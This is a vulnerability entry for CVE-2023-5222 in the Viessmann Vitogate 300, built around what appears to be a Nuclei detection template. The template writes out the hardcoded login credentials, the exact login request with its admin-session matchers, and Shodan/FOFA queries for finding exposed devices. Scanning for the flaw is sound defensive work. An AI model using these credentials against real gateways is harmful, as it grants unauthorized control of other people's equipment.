CVSS2
Attack Vector
ADJACENT_NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:A/AC:L/Au:N/C:P/I:P/A:P
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
AI Score
Confidence
Low
EPSS
Percentile
96.2%
A critical vulnerability in Viessmann Vitogate 300 up to 2.1.3.0 allows attackers to authenticate using hardcoded credentials in the Web Management Interface.
id: CVE-2023-5222
info:
name: Viessmann Vitogate 300 - Hardcoded Password
author: ritikchaddha
severity: critical
description: |
A critical vulnerability in Viessmann Vitogate 300 up to 2.1.3.0 allows attackers to authenticate using hardcoded credentials in the Web Management Interface.
impact: |
An attacker could potentially gain unauthorized access to the device.
remediation: |
Update the device firmware to remove the hardcoded password or change it to a strong, unique password.
reference:
- https://vuldb.com/?ctiid.240364
- https://vuldb.com/?id.240364
- https://nvd.nist.gov/vuln/detail/CVE-2023-5222
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2023-5222
cwe-id: CWE-259
epss-score: 0.00164
epss-percentile: 0.52433
cpe: cpe:2.3:o:viessmann:vitogate_300_firmware:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 2
shodan-query: title:"Vitogate 300"
fofa-query: title="Vitogate 300"
vendor: viessmann
product: vitogate_300_firmware
tags: cve,cve2023,viessmann,vitogate,default-login
http:
- raw:
- |
POST /cgi-bin/vitogate.cgi HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"method":"put","form":"form-login","params":{"uid":"{{username}}","pwd":"{{password}}"}}
attack: pitchfork
payloads:
username:
- vitomaster
- vitogate
password:
- viessmann1917
- viessmann
stop-at-first-match: true
matchers-condition: and
matchers:
- type: word
part: body
words:
- 'admin":true'
- '"sessionId":'
condition: and
- type: word
part: content_type
words:
- 'application/json'
- type: status
status:
- 200
# digest: 490a0046304402205e4d25f934e60a71c86c0383fc9ea75d3d60a8eab84da76ba0f74a428eebbfb302200b230092cf6e1e982cf44258fe996e03cf7df7774d8e291fea40c94e96f08950:922c64590222798bb761d5b6d8e72950
CVSS2
Attack Vector
ADJACENT_NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:A/AC:L/Au:N/C:P/I:P/A:P
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
AI Score
Confidence
Low
EPSS
Percentile
96.2%